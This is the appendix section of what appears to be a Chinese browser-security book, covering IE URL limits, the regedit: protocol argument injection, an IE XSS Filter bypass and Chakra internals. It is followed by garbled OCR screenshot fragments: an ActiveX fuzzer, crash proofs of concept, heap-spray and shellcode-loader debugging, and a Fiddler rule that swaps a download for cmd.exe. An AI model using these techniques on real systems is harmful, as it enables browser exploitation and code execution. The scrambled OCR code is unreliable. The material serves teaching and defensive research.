查看宏的定义，我们可以知道INTERNET_MAX_URL_LENGTH=32+3+2048=2083。2083这个值对旧版本的IE6/7和一些使用WinInet的功能来说是长度的上限。具体的是，旧的IE中URL长度至多2083字节，scheme部分至多32字节，：//之后的内容至多2048字节。




我们可以做一个实验，在IE6/7中，构造一个超长的URL，并将其置入img的“src”属性，并设置一个参照组。

<img onerror="alert('error-1!')" src="https://www.google.com.hk/favicon.ico" /> 
<img onerror="alert('error-2!')" src="https://www.google.com.hk/favicon.ico?AAAA[2200个“





A”





]AA" /> 


打开该网页，浏览器会拒绝加载src中URL过长的那个IMG并抛出异常，触发onerror事件，弹出“error-2！”。




虽然IE8开始[image: IE8中，如果请求不通过代理服务器，则长度无限制。]

 的版本中已经没有此类长度限制。但是，即使在最新的IE11（Edge）上，如果在地址栏输入了过长的URL，IE（Edge）的地址栏还是会发生截断。截断后，如果用户按下回车，浏览器以截断后的URL发出请求。在Edge的地址栏粘贴上述error-2中的URL并按下回车，导航后Edge中读取location.href.length的值是2083。而在IE8~IE11中，这个数字是2047。


[image: ]
图　附-1：Edge中的URL截断



另外便是我们在本书中介绍的Data URI的长度，在IE8中它有32KB的限制，IE9开始已经没有这个限制了。


	
IE8中，如果请求不通过代理服务器，则长度无限制。返回







附录B　IE的控制台截断

在IE使用console.log（）记录数据到控制台并使用开发人员工具（F12）时，你可能会发现一些内容记录得不完整。这是因为IE的控制台也设置了截断。在IE的控制台中，每行最长只能记录1024个字。

[image: ]
图　附-2：控制台中一行至多输出1024个字



因此如果需要使用控制台输出关键信息，例如解密数据，则建议使用Chrome或者Firefox等浏览器。


附录C　表单中的mailto：外部协议

在表单中也可以使用mailto：发送邮件，使用下列代码提交之后，浏览器会启动本地的邮件发送程序去向“blastxiang@gmail.com”发送一封标题为“MyTitle”的邮件。

 <FORM Action="mailto:blastxiang@gmail.com?Subject=MyTitle" METHOD="POST"> 
    <TEXTAREA name="Body"> 
      mail body 
    </TEXTAREA> 
    <INPUT type="submit" value="Submit"> 
</FORM> 


在IE中，浏览器还会发出安全提示，如图附1-3所示。正如IE所提示的一样，通过这种方式发送邮件，你可能会将自己的邮件地址暴露给对方，也会以未加密的方式发送表单数据。




[image: ]
图　附-3：IE中的安全提示



Chrome、Firefox中没有提示，会直接启动关联的邮件程序。


附录D　危险的regedit：外部协议

在Chrome浏览器中可以通过regedit：外部协议启动regedit。通过regedit：启动时，整个regedit URI都会传给regedit.exe。

[image: ]
图　附-4：Chrome的安全提示



假设在浏览器中访问“regedit：test”，那么浏览器将启动："%WINDIR%\regedit.exe""regedit：test"。是的，浏览器只是简单地将URI放入了参数的括号中。如果攻击者访问regedit：test""evil，那么浏览器启动的将会是"%WINDIR%\regedit.exe""regedit：test""evil"。

根据regedit.exe的特性，regedit会依次试图导入“regedit：test”和“evil”，如图附-5所示。而系统中注册的外部协议多之又多，例如docxfile：会打开关联的文档编辑器等。许多外部协议关联都让浏览器直接启动一个外部程序，所以，在使用浏览器时，如果发现网页提示打开不明的协议，还请三思而后行。

[image: ]
图　附-5：regedit.exe发出的提示




附录E　IE XSS Filter的漏洞也会帮助执行XSS

IE的XSS Filter采用正则表达式的方式扫描输入文本，当网站没有指定mode=block时，XSS Filter只是简单地将匹配正则表达式的内容中的一个字换成“#”。这使得攻击者找到了许多绕过IE攻击的方式。

例如在MS15-124、MS15-125补丁中，安全专家Masato Kinugawa报告的多个XSS Filter绕过漏洞（CVE-2015-6144、CVE-2015-6176）就是一些十分典型的例子。根据Kinugawa的报告[image: http://www.slideshare.net/masatokinugawa/xxn-en]

 ，当用户输入匹配了规则但是又没有出现在页面中时，XSS Filter可能会将页面内一个不是用户输入的地方给拦截掉。


例如：用户输入http://example.org/？q=AAA&<meta+charset=，匹配了IE的正则式，但是如果URL中匹配的部分实际上并没有写入页面，而页面又有某个地方出现了<meta charset=XX>的数据，页面中的<meta charset=XX>会被过滤成<m#ta charset=XX>。

假设页面如下：

[image: ]



攻击者构造一些符合特殊规则的输入，例如？/style++++++=++=\，根据规则：




{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&#x?0*((40)|(28)|(92)|(5C));?))} 


浏览器会匹配到代码中“/style~value=”的部分并将/style过滤成/st#le。这使得第一个<style>标签的范围扩大到了文档结束（因为之后都没有结束标签）。攻击者再向网页内注入一段CSS expression代码便可触发XSS。




[image: ]



而且需要注意的是，如果没有IE XSS Filter的“过滤”，攻击者注入的这段代码并不会被当作CSS解析，所以攻击者事实上利用了IE XSS Filter的漏洞，让本没有XSS的页面执行了XSS，可以说，这一回XSS Filter“帮”了XSS。




实际上，使用正则表达式对输入进行过滤更像是一种黑名单过滤方式。整个检测过程耗时又不是十分准确（可以参考本书之前介绍XSS Filter时XSS Filter误报搜狗的一个例子），而且因为过滤规则存储在本地，这使得IE的XSS Filter也不是非常安全。但是我们也只能寄希望于IE能够早日抛弃旧的正则表达式过滤，采用类似Chrome的XSS Auditor的做法。


	
http://www.slideshare.net/masatokinugawa/xxn-en返回







附录F　更高级的策略保护——CSP Level 2

我们在之前的章节介绍了CSP Level 1，它是一组让浏览器决定如何控制页面可以加载或执行资源的规则。目前CSP最新的版本是CSP Level 2（本节简称CSP2），CSP2基本兼容CSP1的指令，它增加了如下指令：


表　附-1：CSP2增加的指令

[image: ]



修改了如下内容：





表　附-2：CSP2的修改

[image: ]



在笔者编写本章时CSP2为“W3C Candidate Recommendation”状态
 [image: http://www.w3.org/TR/CSP/]

 。Chrome和Firefox对CSP2支持较好，网站在使用时，为了照顾其他浏览器，建议也同时保留CSP1的规则。



	
http://www.w3.org/TR/CSP/返回







附录G　更快的执行速度——JScript5 to Chakra

随着浏览器的进化，脚本引擎也在不断进化。例如IE9开始，IE的脚本引擎就从旧的JScript5引擎转换为新的Chakra（JScript9）引擎了。JScript5引擎采用解释执行的模式，执行效率并不是很高。而到Chakra时，IE已经会先将JavaScript编译成字节码，然后使用字节码执行了，这也是现代浏览器的一种通用做法，消耗少量的编译时间，便可让脚本运行在近似于EXE的执行速度，这大大地改进了浏览器的体验。

对比Visual Studio 2010编译出的EXE，可以发现Chakra[image: 本章Chakra相关的内容均为2015年6月时的测试结果，Debug等均为默认编译条件。]

 编译出的字节码近似于开启了OX优化的EXE的代码。出现了大量常量预先计算、switch分支优化、if分支优化的内容。例如switch分支优化，假设有如下代码：


var k=0x11223344; 
  
switch (k) 
{ 
    case 0x11223344: 
        k = 0x33445566; 
        break; 
    case 0x33445566: 
        k = 0x44556677; 
        break; 
    default: 
        k = 0x11223344; 
        break; 
} 


通过Chakra编译后变成了如下几句：




03f50039 8b0d086e7802    mov     ecx,dword ptr ds:[2786E08h] 
03f5003f ba27753215      mov     edx,15327527h 
03f50044 81f2ae137637    xor     edx,377613AEh 
03f5004a 899108060000    mov     dword ptr [ecx+608h],edx 
03f50050 8b0d086e7802    mov     ecx,dword ptr ds:[2786E08h] 
03f50056 baceaadd4b      mov     edx,4BDDAACEh 
03f5005b 81f20300552d    xor     edx,2D550003h 
03f50061 899108060000    mov     dword ptr [ecx+608h],edx 
03f50067 e9baffffff      jmp     03f50026 


也就是在编译后大部分无用分支都被删除了，相当于只剩下下面这两句：




var k=0x11223344;
k=0x33445566;


但是Chakra的代码还有一点比较像默认Debug编译方式，那就是它每一条语句干了什么都有所保留，比如在Release O2中编译下列C++代码：




void foo(){
int a = 1;
a = 2;
a ++;
}


由于这个函数中的语句没有任何实际作用，会被全部优化掉，而在默认Debug编译方式中代码编译后的效果则类似于：




void foo(){
int a = 1;
a = 2;
a = a + 1;
}


在Chakra中编译后代码则类似于：




void foo(){
int a = 1;
a = 2;
a = 3; //预先计算






}


可以发现Chakra的效率是要高于默认Debug编译方式的，但是有些情况要略低于开启优化的EXE。





	
本章Chakra相关的内容均为2015年6月时的测试结果，Debug等均为默认编译条件。返回







附录H　Chakra的整数存储

在IE11的Chakra中的常量编译中，Chakra对常量采用了编码方式，例如


	DWORD以（n*2+1）xor（some value）编码过的形式存在内存中。xor key随机，使用时现场解密；

	WORD以n*2+1的方式保存，并在需要使用时将其（n-1）/2（右移一位）再使用；

	生成的字节码中间还有一些nop，防止攻击者预测字节码生成位置。



针对Chakra生成的字节码调试，可以发现在编译的字节码中确实出现了一定量的无用操作，例如mov edi，edi、lea ebp，[ebp]等，这些夹杂在代码中可以防止攻击者预测地址。

而数字我们以具体的例子为例，var k=0x11223344；这段代码，编译之后可以发现Chakra会将它xor一个随机的值：

[image: ]



在使用到数字进行运算的时候，Chakra会再用xor key解开：


[image: ]



附录I　安全实践

对用户来说，及时更新浏览器、浏览器的插件都是安全第一要务。如果浏览器包含有自动更新的服务程序，建议不要关闭服务，它们通常会在后台为你提前下载好安装包，并在合适的时间通知你去更新浏览器。

当你在进行网络浏览时，都会留下包含各种私密信息的个人数据。广告联盟可能会利用你的搜索记录向你投放针对性的广告、在一些网站上的订单信息可能会被店家非法转卖给他人、钓鱼网站上不慎填写的信息、一些不良网站获取授权信息后收集隐私……无论是在购物，还是在登录社交网站，保护隐私不被第三方窃取都是很重要的。建议开启浏览器的隐私模式、不随意授权不认识的网站、开启钓鱼网站防护和安全软件以保护浏览隐私。

[image: ]
图　附-6：Google Adsense提供的广告



而如果当前使用的计算机还有其他成员使用，也可以通过浏览器类似“创建和管理受监管用户”功能控制、查看他人在浏览器中访问的网站。例如，在Chrome中，为自己的子女设置一个账户后，便可以：


	允许或屏蔽特定网站。

	查看其访问过的网站。

	调整受控用户的设置。

	关闭访客模式。

	阻止受控用户创建新个人资料。



另外，使用移动设备时一定用密码锁定设备，否则，一旦移动设备丢失或被盗，则里面存储的数据也易泄露，请回想一下我们之前提到的Windows Phone的密码存储功能的漏洞，设置一个密码还是很有必要的。

对于开发者来说，在使用开源代码或通用组件时，一定不能为了需求制作时的省事就砍掉浏览器中一些非常通用的功能——例如弹窗提示、安全验证、信息警告等。而一些关键逻辑，则建议开发者直接使用现有代码，不要重复制造轮子，类似于Chromium这样的开源软件的功能已经被无数人使用、证实过安全。重复制作功能一是浪费时间，二是可能因为和原来的逻辑不切合或者自身逻辑就有问题产生多种安全问题，日后维护的成本将变得十分高昂。

另外，在设计给普通用户看的通知信息时，一定要做到简洁、有效，告诉用户如何做才是最好的，不要堆砌许多专业术语。许多用户根本不会关注这些术语在说什么，他们想要的只有——“我要访问网站，放我进去！”。

[image: ]
图　附-7：充满安全术语的提示



[image: ]
图　附-8：在一般用户眼里的感觉



对于12306这样的“刚需”网站，用户可能并不会对安全提示买账，但是对于一些其他网站，证书错误提示可以优先显示简单的一句话“该网站的连接有问题，继续访问可能带来安全风险”，把技术细节隐藏起来，这样可以更好地让用户了解到如果继续访问，可能会给他带来的风险。

浏览器的安全是一个广阔且有魅力的方向，Web和底层分析都可以走得很深很远，希望拙作可以让大家对浏览器安全有初步的认识，起到抛砖引玉的作用。感谢你为互联网安全所贡献的力量：）。
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FEEoRa( clsid + " PropSet (Integer) " + f[’'Name’']);

// Read the old value so we can restore it
var old = null;
try { eval('old = obj.’' + f['Name']); } catch(e) {}

// Skip known bad properties
1f (isBadProperty(clsid, f['Name’']))
continue;

// Iterate through all evilProp integer values

for (var x in evilPropNum) {
var tst = evilPropNum[x];
f8eerd( clsid + " PropSet (Integer) " + f['Name'] + ' = ' + tst);
try { eval('obj.’ + f['Name'] + '= tst’); } catch(e) {}

3

// Restore the original property value
F880R8( clsid + " PropSet (Integer) " + f['Name’] + ' = (old) ' + old);
try { eval('obj.’ + f['Name'] + '= old'); } catch(e) {}
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15927 {3DC4198F-C37E-4B88-81F4-B1BOBAAAT4F8} PropSet (String) inputl5 = 8183
15928 {3DC4198F-C37E-4B88-81F4-B1BOBAAA74F8} PropSet (String) input15 = 8185
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<object classid="glsid:3DC4198F-C37E-4B88-81F4-B1BOBAAAT4F8" id="test"” />

<script>

var str = 'A’;

for(var i
atrdm A's

3 1 < 2200000; ++i)

Visual Studio Just-In-Time Debugger

eval("test.input15=str;");
</scrint>

An unhandled win32 exception occurred in iexplore.exe [6980].

@ hitp://127.0.0.1/outfuz/xchtm

Possible Debuggers:

New instance of Microsoft Visual Studio 2010

New instance of Microsoft Visual Studio 2013
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record_it{ clsid + " PropSet (String) " + f['Name’'] + ' = ' + tst.length);|
try { eval('obj.’ + f['Name'] + '= tst'); 7} catch(e) {3}
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HEAD. appendChild (NODEL) ;
NODEL . appendChild (NODE2) ;
HEAD. appendChild (NODE3) ;

Range = document.createRange();
Range.setStart (NODE2, O0);
Range.setEnd (NODE2, O0);

NODEL.addEventListener ("DOMNodeInserted", foo, false);

Range.surroundContents (NODE3) ;
</script>

//ignites DOMNodeInserted event
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<script type='text/javascript'>
function foo (event)
{
this.innerHTML = '1'; //CRASHES HERE
}

var NODEl=document.createElement ("A");
var NODE2=document.createElement ("A");
var NODE3=document.createElement ("A");
var HEAD = document.head;
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ADD ESP [
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first int3
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AliSSOLogin plugin - VERSION1,0,0, 1
npAliSSOLogin Plugin

NAME:
DESCRIPTION:
VERSION:
PATH:

TYPE:

MIME_TYPES:

DISABLE g

AliSSOLegin plugin

npAliSS0Login Plugin

1,001

E:\Program Files (x86)\AliWangWang\8.00.71C\npAliSSOLogin.dll
NPAPI

DISABLE

MIME type DESCRIPTION _ FILE_EXTENSIONS

application/npalissologin  AliSSOLegin  .AliSSOLogin

Tenpay Security Control - VERSION 2,0, 2,5

QQPassword
NAME:
DESCRIPTION:
VERSION:
PATH:

TYPE:

MIME_TYPES:

Tenpay Security Control

QQPassword

2,0,2,5

F:\Program Files (x86)\Common Files\Tencent\Paycenter\npqqedit.
NPAPI

DISABLE

MIME type DESCRIPTION  FILE_EXTENSIONS
application/qqedit npqqedit
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#include "stdafx.h"
#include <windows.h>

CHAR* szShellcode = "“x90\xz30\x|

int _tmain(int argc, _TCHAR* ar(

{
_asm
inp szShellcode
return 0;
B
Ll —— ,

Ln13,Col1l Sys 0:<Local>

pm [ 7m

[]
E]
il

r

© 77310000 77490000 ntdll.dll
76be0000 76cf0000  F:\Vindows\syswov
: 75b20000 75b67000  F:\Windows\syswou
ModLoad: 0£390000 0£503000 F:\Windows\SysWO
(2710.1cc8) : Break instruction exception - coc
2ax=00000000 sbx=00000000 ecx=a2000000 edz=002
eip=773b103b esp=0015f76c ebp=0015£798 iopl=0
cs=0023 ss=002b ds=002b es=002b £s=0053 ¢
ntdll!LdrpDoDebuggerBreak+0x2c:

773b103b cc int 3

0:000> g

(2710.1ccB): Break instruction exception - coc
*xx WARNING: Unable to verify checksum for tes
eax=ccccccoe ebx=7efde000 ecx=00000000 edx=00(
eip=00cl13be esp=0015fac8 ebp=0015{b3%4 iopl=0
cs=0023 ss=002b ds=002b es=002b £s=0053 ¢
testShellcode!wnain+0Oxle:

00cl13be co int 3

Ll P—— ,

0:000>

Proc 000:2710 Thrd 000:1cc8 ASM OVR CAPS NUM
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0:000> dd
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@ Pid 588 - WinDbg:6.2.9200.16384 X86 ‘
Fie Edit View Debug Window Help
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ModLoad: 51880000 5193£000
ModLoad: 51820000 5187c000
| ||ModLoad: 03550000 03556000
ModLoad: 03850000 03863000

:\PROGRA™~2\Java\jre7\bin\nsvcr100.dll
PROGRA~2\Java“jre7\bin\deploy dll

Program Files (x86)\Yozosoft-Yozo_Of fice\Jrevbin\jp2native. dll

Program Files (x86)\Yozosoft\Yozo_Office\Jre\bin\deploy.dll

(ModLoad: 05c50000 05c63000 Program Files (x86)\Yozosoft\Yozo_Office\Jre‘bin\net dll

ModLoad: 51750000 51818000 \Program Files (x86)\Java\jre7\bin\dtpluginideployJaval.dll

(24c.2030): Break instruction exception — code 80000003 (first chance)

eax=7ef63000 ebx=00000000 ecx=00000000 edx=7785f8ea esi=00000000 edi=00000000

e1p=777d000c esp=236dfeh8 ebp=236dfesd iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00000246
ntdll!DbgBreakPoint :

777d000c cc int 3

0:038> g

(24c.1c74) : Access violation — code c0000005 (11! second chance I11)
*xxx ERROR: Symbol file could not be found. Defaulted to esport symbols for F:\Program Files (x86)
eax=00000000 ebx=00000000 ecx=5175a245 edx=00000002 esi=00000000 edi=00000000

21p=5175100b esp=0430b2e0 ebp=0430b36c 10pl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b £s=0053 gs=002b ef1=00010246
deployJaval+0x100b;

5175100b 668b08 nov cx.vord ptr [eax] ds:002b:00000000=7777
< | . |
0:003>

Offset: ®$scopeip

51751005 8bcé nov. eax,. esi

51751007 57 push edi

51751008 845002 lea edx, [eax+2

5175100e 83c002 add eax, 2

51751011 6685c9 test CcX,CX

51751014 75£5 jne deployJaval+0x100b (5175100b)

Ln 0, Col €

~—
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FlashUtil_ActiveX. exe 3968 DLL c tem32\Macromed\Flash\FlashUtil A. ..

FlashUtil _ActiveX exe 3968 DLL c tem32\Macromed\Flash\FlashUtil A ..

FlashUtil_ActiveX, exe 3968 DLL C:\ ystem32\Macromed\Flash\FlashUtil_A...

FlashUtil_ActiveX. exe 3968 Thread FlashUtil_ aActiveX. 3840

FlashUsil_ActiveX. exe 3968 Thread : 5780

Flachiitil actival 30A3  Thraad - 7839 .

12 matching items.
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for (int i = @; i < FAKE_SPRAY_SIZE; ++i)
bEvil[i] = @x41; //just a test

}

ctest->bar ((DWORD)bEvil); //uaf
return 0;

Microsoft ¥isual Studie
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0:000> dt ntdll!_TEB

+0x000 NtTib : _NT_TIB
+0x01lc EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID

+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB






OEBPS/Image00221.jpg
0:009> dd
0c0c0c0c
Oclclclc
Oclclc2e
Dc0clc3ce
OcOclcdc
Oc0c0cSe
Oc0cOcée

0=0c0c0clc

0c0c0c0c
0c0c0cle
0c0clclc
0c0c0clc
0c0c0clc
41414141
41414141

0c0c0clc
OcOclOclc
OcDc0clc
OcDc0clc
OcDc0clc
41414141
41414141

Oc0c0cic
OcDc0clc
OcDc0clc
OcDc0clc
Oc0c0clc
41414141
41414141

Oc0c0clc
OcOcOclc
Oc0clclce
Oc0c0clc
Oc0c0clc
41414141
41414141
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[ 1D - FaWindows\System32\jscript.idb scriptadil =)

Ble Edn Jump Senrcn View Debugger _quom ﬂivmms Help

Do dadatF- “A X >mn@,

nliningDecider :InlinePolymorhicCallSite(Js::Ft

InliningHeuristics::BackendInlinelntolnliner(Js: *(_DWORD *)a3 = a1 % a2;
i | return 8;

InliningHeuristics:IsInlineeLeaf()
Int32Math::Div(intintint *)
Fd Int32Math:Mod(intintint *)
Int32Math:NearestinRangeTo(int intint)
IntConstantValuelnfo::New(ArenaAllocator * ¢
|f| IntOverflowDoesNotMatterRange:IntOverflo!
ntRangeValuelnfo::Copy(ArenaAllocator * coi
ntRangeValuelnfo:IntRangeValuelnfo(int,int)
lnterpreterThunkEmmer AllocateFromFreeLis =

« m 3 Mod:2
Line 2451 of 17206 <

[Z] Output window
"E:\HEX-Rays . LDUA. Pro. AGVANCEd. vb. [\PLUgins \GbIixX.plw: NOL IDA DLL file
Hex-Rays Decompiler plugin has been loaded (v1.5.0.110408)

License: 57-3B73-7AE4-E2 ESET spol. s r.o. (36 users)

The hotkeys are F5: decompile, Ctrl-F5: decompile all.

Please check the Edit/Plugins menu for more informaton.

Disk: 29GB
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0:000> dd 003£5760 LOxC
003f5760 003f5bf8 77e8021c |77d80000] 00000000
T+0x0 F—Aagsbit T +0x8 HBirALsssbat
003£5770 00180000 003c003a 003f57e0 00140012
003£5780 77dcS5bc4 00004004 0000ffff 003£7824
1 0x20 B3 B AR
0:000> 1m a 77d80000
start end module name
77480000 77£00000 ntdll (pdb symbols
T H—AH ntd11.d11
0:000> du poi(003£5760 + 0x20)
77dcS5bcd4 "ntdll.dll"

0:000> dd 003f5bf8 L4

003f5bf8 003f5ae0 003£5760 |75800000 758074cl
0:000> 1m a 75800000

start end module name

75800000] 75847000 KERNELBASE (deferred)

1 % =/ M3k KERNELBASE. d11

0:000> dd 003f5ae0 L4

003f5ae0 003f6e98 003£f5bf8 |77870000 77883293
0:000> 1Im a 77870000

start end module name

77870000] 77980000 kernel32 (deferred)
1 % =AMk kernel32.d11
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123456789. . ...
ntdll.[d11
kernellﬂase.dll
kernel[3l2.d11
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0:000> x kernel32!AddAtomA
7789ed3e] kernel32!AddAtomA (<no parameter info>)
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r al
Export Table _ —-

Export Information
||| Characteristics 00000000 Number Of Functions 00000554

o
Time Date Stamp | 53158AB2 Number Of Names 00000554

Major Version 0000 Address Of Functions 000BFFS8
I Minor Version 0000 Address Of Names 000C14E8

0002 000CA3A4 000CA3A4 InterlockedPushListSList->NTDLL. RtlInterlocked?
0003 000C9E25 000C9E25 AcquireSRWLockExclusive-->NTDLL RtlAcquireSR
0004 000C9E46 000C9E46 AcquireSRWLockShared-->NTDLL RtlAcquireSRW
0005 00015458 00015458 ActivateActCtx

DiiName | KERNEL32.dll Address Of Name Oridinals | 000C2A38 1
Base 00000001 | Name 000C34E0 :
Ordinal |~ RVA | Offset ' Function Name =
0001 00013378 00013378 BaseThreadInitThunk q
|
I

0007 0002CDD4 0002CDD4 AddAtomiw x
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0:000> dd 77870000+0xe84

0x78

77870160 000bf£f70
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0:000> dd 77870000+0x3c

7787003c

0:000> db 77870000+
778700e8 50 45 00 00 4c 01 04 00-85 9a 15 53 00 00 00 00 PE..L

000000e8

0xe8
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0:000> dd 77870000+000c14e8
0 1 2 3

779314e8 000c34ed 000c3505 000c351a [000c3529

0:000> da 77870000+000c3529
77933529 "AddAtomA"
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0:000> dd 77870000+0xb£f£70+0x20

7792££90
7792ffal
0:000> dd
779314e8
779314f8
0:000> da
779334ed

000cl4e8| 000c2a38

000c9e25 000c9ed6

77870000+000c14e8

000c34ed| 000c3505

000c3532 000c353b

77870000+000c34ed|

00013378 000ca3a4
00015458 0002ed3e

000c351a 000c3529
000c354c 000c355d

"AcquireSRWLockExclusive"
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0:000> dt

nt!_PEB_LDR_DATA

ntdll!_PEB_LDR_DATA

+0x000 Length : Uint4B

+0x004 Initialized : UChar

+0x008 SsHandle : Ptr32 Void

+0x00c InLoadOrderModuleList : _LIST_ENTRY

+0x014 InMemoryOrderModulelList : _LIST_ENTRY

+0x01lc InInitializationOrderModulelist : LIST ENTRY]

+0x024
+0x028
+0x02c

EntryInProgress : Ptr32 Void
ShutdownInProgress : UChar
ShutdownThreadId : Ptr32 Void
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+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar

+0x003 BitField : UChar

+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsLegacyProcess : Pos 2, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
+0x003 SpareBits i Pos 5, -3 Bits
+0x004 Mutant : Ptr32 Void

+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR _DATA
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A Problem loading page  x | &
€ @ ripscve treakattack com v c ||y Bing LB 3

n Secure Connection Falled
An error occurred during a conneclion to cve.freakaltack.com.
SSL received an unexpected Server Key Exchange handshake message.

(Error code: ssl_error_rx_unexpected_server_key_exch)

= The page you are Irying 1o view cannot be shown because the authenticity of the
recelved data coukd not be verified,

» Please contact the website owners 1o inform them of this problem. Allematively, use
he command lound in the help menu lo report this broken site.

_Try Again L
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[® Fiddier Web Debugger [E=E)

File Edit Rules Tools View Help GET/book £ GeoEdge
) 43 Replay X~ » Go ¥ Stream iiié Decode = Keep: All sessions ~ & Any Process #4 Find (&l Save 1% @ @ Browse -~

&
#  Resutt Protocol Host URL [ [ Fiters | 5] Log [ = Timelne
©24 302 HITP www.baidu.com / @ statitcs i tnspectors # AutoResponder (4 Composer
@25 200 HTTP Tunnel to www.baidu.com:443 ||| Headers | TextView | WebForms | HexView | Auth | Cookies | Raw | JSON
26 200 HTTP Tunnel to  sp0.baidu.com:443 |
@27 200 HrTP Tunnel to - ss1.bdstatic.com:443
GET / HTTP/1.1
Client

Accept: text/html, application/xhtmi+xml, */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN

User-Agent: Moxzilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) liki
Cookies / Login
= Cookie

= BAIDUID oo

< i v

(i) »

GetSyntaxView = Transformer | Headers | TextView | ImageView | HexView
WebView | Auth | Caching | Cookes |[Raw | JsoN | xmL |

HTTP/1.1 302 Moved Teuporarﬂg
Date: Sun, 09 Aug 2015 03:35:59 GMT =
Content-Type: text/html \"
Content-Length: 215

Connection: Keep-Alive

Server: Ewsg%l

Vs _camnasihia: TE_€dnn chrama-1

S 1K i | »

e, | e Viewintotesad |
1/4 http://www.baidu.com/






OEBPS/Image00094.jpg
erien - SR

. o 41

PF} 1+

VB!
"kBrer: S CAWINDOWS splwow.exe

M*E &% : HEUR/Malware.QVMOB.Gen

o ——
sy S umEs | v Esg






OEBPS/Image00096.jpg
% Micorsoft Essential Security Pro 2013

Micorsoft Essential
Security Pro2013 setings

& Trojan:Android/Basetridoe. A Virus
& Trojan-Dropper:OSX/Revir A Virus
& Other:W32/Generic Virus..
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) Virus Scan In Progress - Mozilla Firefox

Ee Edt View Higtory Bookmarks Tools Help
e = € Xty ()] htpiifiersconner.comi17/uidmkeyintinsOcmObend=08g=1
(2] Most visked || Customize Links | ] Free Hotmad | '] RealPlayer | | Windows Marketplace | ") Windows Media | ] Windows

System Tasks € v Local Disk (C:) gv Local Disk (D:)

[@) view system information Y security error

&) Add or remove programs
- ——— () e

B Change a settings

Other Places A .

&3ty Network Places

) My Documents

22 Shared Documents.

B Control Panel 100% files - System scan C:\Documents and Settings|My Documents
(NN NN RN RN R NN AR RN AR RRRAN AR RN R RN

Details 2 Total files 4523

My Computer
ST T

WARNING! spyware threat has been detected on your PC.

C:\Documents and SettingsluseriLocal Set... Spyware SystemSoapPro |
C:\Documents and Settingsiuser... Spyware AntiLamer Light ‘
C:\Documents and Settings\user|Cookies Virus MC30 Day

C:\Documents and Settingsluser\Cookies Virus. SoftEther
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‘ TextView | ImageView | HexView | WebView
Auth | Caching | Cookies | Raw | 3sON | xmL |

The SyntaxView Inspector displays syntax-highlighted HIML, Script,
€SS, and XML. If you're a web developer, you' 11 want this add-on.

Download and Install SyntaxView now...

Learn more about SyntaxView and other Inspector add-ons...

Remove this page
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File Edit Rules Tools View Help GET /book GeoEdge
|0 % Replay X- » Go ¥ Stream i Decode Keep: All sessions - € Any Process # Find [l Save 1% @ @ Browse - |
#  Resut Protocol Host URL | &) statistics| Hw_{i-i—--]j’c-——[qﬁ;lﬁﬁlén—.‘
&7 - HTTP www.sina.com /

Headers | TextView | WebForms | HexView | Auth | Cookes | Raw | JSON | XM

[ ovesk on fesporse | NN
Get SyntaxView = Transformer  Headers = TextView  ImegeView
Ash | Cachng | Cookes [Raw | JSON | o |

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 10 Aug 2015 15:30:30 GMT
Content-Type: text/html

Expires: Mon, 10 Aug 2015 15:32:30 GMT
Cache-Controf: max-age=120

Age: 40

iContent-Length: 6 a:
X-Cache: HIT from jal80-190.sina.com.cn

MITM! |

|[ViewinNotenad

7

.
£~ ¢/ sina.com x|

(<)) 88y http /o sina.com/

MITM!!
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[¥] Enable automaticresponses [¥] Unmatched requestspassthrough [7] Enable Latency

[hddrie ) [impor=)

If request matches... then respond with...

v

EXACT:http://dllq.com/dl/qadl C:\Windows\SysWOW64\camd. exe
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File Edit Search Qptions Hell

2015-08-09 Host cached.

2015-08-09 Resolved host successfully: www.baidu.com -> 119.75.218.70
2015-08-09 Sending request via SSL...

2015-08-09 HITP connection made.

201%5-00-09 sending Request: GEI /

201%-08-09 3 Sending head accept-language : zh-(N,zh;qu0.8, en;qu0. 6
2015-08-09 host : www. baidu.

2015-08-09 accept : text/html

2015-08-09 Sending he.

2015-00-09 sending header: connection : keep-alive

2015-08-09 Sending header: cookie : BATDUTDE7AG991 AFOAMEFO22CE24EAESSCETN2D
2015-08-09 Sending header: upgrade-insecure-requests : 1

2015-08-09 Got server

2015-08-09 Got server header: Server:bfe/1.0.u.5

201%-08-09 Got server he. Date:Sun, B9 Aug 201% 02:%6:34 GMI

2015-08-09 Got server Content-Type:text/html; charsetmut{-8
2015-08-09 Got server Connection:close
2015-00-09 Got ser varz:k:copt-mcodinq

e

2015-08-09 Got server Cache-control:private
2015-08-09 Got server Cxy_all:baidu+68b56dd07975b8d 5bbBadba3fB0ba
2015-08-09 Got server header: Cxpires:Sun, 09 Aug 2015 02:56:31 GHT
2015-08-09 Got server header: X-Powered-Dy:HPHP
201%-00-09 Got server header: X-UA-Compatible:lk=tdge,chrome=1
201%-08-09 Got server header: BOPAGETYPE:L
2015-08-09 Got server header: BDQID: 0xb1a654140010cady
2015-08-09 Got server header: BOUSERI|
2015-00-09 Got server header: Set-Cookie:BDSVRTM=0; path=/
2015-08-09 Got server header: Set-Cookie:BD HOME=D; path=/
2015-08-09 Got server header: Set-Cookie:H PS PSSIDm16476 15975 1441 13245
2015-08-09 Got server header: Set-Cookie: bsi=11547184750202828002_00_40_N|
2015-08-09 34,896 Read from serve:

-STATUS OK--><htmlschead>ameta http-equiv="content-type" content="text
<stvle index="index" id="css index“>html.bodv{heiaht:100%thtml{overflow-v:autolawravpe
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<ssistrip.log>
Flle Edit Search Opuons Help

15+ 0U-09 Resolving hest: www.baidu.com (2]
